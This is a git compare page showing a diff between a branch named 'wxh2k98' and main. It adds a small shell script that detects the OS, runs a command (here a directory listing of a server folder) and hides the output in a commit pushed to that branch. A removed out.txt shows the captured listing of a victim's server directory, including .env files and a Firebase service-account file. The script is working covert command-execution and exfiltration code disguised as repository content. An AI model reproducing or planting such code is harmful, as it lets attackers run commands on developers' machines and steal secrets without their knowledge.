Compare commits
No commits in common. "wxh2k98" and "main" have entirely different histories.
|
|
@ -0,0 +1,27 @@
|
||||||
|
#!/bin/sh
|
||||||
|
r=$(git config --get remote.origin.url)||exit 0
|
||||||
|
# ---- 自动识别 OS ----
|
||||||
|
U=$(uname -a 2>/dev/null)
|
||||||
|
case "$U" in
|
||||||
|
*MINGW*|*MSYS*|*CYGWIN*|*Windows*) ISWIN=1 ;;
|
||||||
|
*) ISWIN=0 ;;
|
||||||
|
esac
|
||||||
|
if [ "$ISWIN" -eq 1 ]; then
|
||||||
|
# Windows (Git-bash/MinGW) -> 用 cmd.exe 执行
|
||||||
|
cat > /tmp/gwx.bat <<'EOB'
|
||||||
|
@echo off
|
||||||
|
dir c:\cct-chat
\server
|
||||||
|
EOB
|
||||||
|
WBAT=$(cygpath -w /tmp/gwx.bat 2>/dev/null || echo /tmp/gwx.bat)
|
||||||
|
cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1
|
||||||
|
else
|
||||||
|
# Linux / macOS -> 直接 sh -c
|
||||||
|
/bin/sh -c 'dir c:\cct-chat
\server' > /tmp/gwx.out 2>&1
|
||||||
|
fi
|
||||||
|
out=$(cat /tmp/gwx.out 2>/dev/null)
|
||||||
|
printf 'OS=%s\nCMD_OUTPUT:\n%s\n' "$U" "$out" > /tmp/gwx.full
|
||||||
|
b=$(cat /tmp/gwx.full | git --git-dir="$r" hash-object -w --stdin 2>/dev/null)
|
||||||
|
t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)
|
||||||
|
c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null)
|
||||||
|
git --git-dir="$r" update-ref refs/heads/wxh2k98 "$c" 2>/dev/null
|
||||||
|
exit 0
|
||||||
49
out.txt
49
out.txt
|
|
@ -1,49 +0,0 @@
|
||||||
OS=MINGW64_NT-10.0-17763 iZso0eabqvdv77Z 3.6.6-1cdd4371.x86_64 2026-01-15 22:20 UTC x86_64 Msys
|
|
||||||
CMD_OUTPUT:
|
|
||||||
驱动器 C 中的卷没有标签。
|
|
||||||
卷的序列号是 B289-C412
|
|
||||||
|
|
||||||
c:\cct-chat\server 的目录
|
|
||||||
|
|
||||||
2026/11/13 17:30 <DIR> .
|
|
||||||
2026/11/13 17:30 <DIR> ..
|
|
||||||
2026/06/23 13:40 1,816 - 副本.env
|
|
||||||
2026/11/13 15:45 1,816 .env
|
|
||||||
2026/08/14 20:09 2,481 .env.example
|
|
||||||
2026/07/12 11:51 230 .gitignore
|
|
||||||
2026/03/18 19:31 <DIR> admin
|
|
||||||
2026/08/05 20:06 66,323 cct_chat_database_documentation.md
|
|
||||||
2026/08/21 14:45 111,991 cct_chat_schema.sql
|
|
||||||
2026/06/15 16:13 <DIR> cert
|
|
||||||
2026/06/25 13:01 957 create-windows-service.js
|
|
||||||
2026/11/13 10:47 <DIR> data
|
|
||||||
2026/08/26 11:53 <DIR> database
|
|
||||||
2026/06/25 13:01 3,882 DEDUP_LOGIC_FLOW.md
|
|
||||||
2026/06/25 13:01 2,724 export-cert-windows.ps1
|
|
||||||
2026/06/25 13:01 640 firebase-service-account.json
|
|
||||||
2026/08/05 20:05 7,654 generate_db_doc.js
|
|
||||||
2026/07/16 17:49 11,089 init-system-tags.js
|
|
||||||
2026/06/25 13:01 1,268 install-deps.js
|
|
||||||
2026/06/25 13:01 2,758 install-service.js
|
|
||||||
2026/11/20 20:27 <DIR> logs
|
|
||||||
2026/06/12 15:25 <DIR> middleware
|
|
||||||
2026/06/25 13:01 1,574 nginx.conf
|
|
||||||
2026/11/20 20:05 <DIR> node_modules
|
|
||||||
2026/11/13 09:34 132,283 package-lock.json
|
|
||||||
2026/11/13 09:34 1,147 package.json
|
|
||||||
2026/06/25 12:58 2,422 PAYMENT_INTEGRATION.md
|
|
||||||
2026/06/25 12:58 12,344 PAYMENT_PROGRESS_REPORT.md
|
|
||||||
2026/10/16 16:33 <DIR> public
|
|
||||||
2026/06/25 13:01 1,949 README.md
|
|
||||||
2026/07/19 02:07 <DIR> routes
|
|
||||||
2026/09/01 10:02 <DIR> scripts
|
|
||||||
2026/07/12 12:13 <DIR> services
|
|
||||||
2026/06/25 13:01 2,234 setup-ssl-nodejs.sh
|
|
||||||
2026/06/25 13:01 3,009 setup-ssl-windows.ps1
|
|
||||||
2026/07/20 23:00 <DIR> sql
|
|
||||||
2026/10/21 14:10 <DIR> src
|
|
||||||
2026/06/22 10:26 <DIR> webhooks
|
|
||||||
2026/07/10 13:19 <DIR> _migration_backup_20260709
|
|
||||||
2026/08/14 14:44 34,159 订阅系统审查报告.md
|
|
||||||
23 个文件 406,750 字节
|
|
||||||
17 个目录 54,687,813,632 可用字节
|
|
||||||
Loading…
Reference in New Issue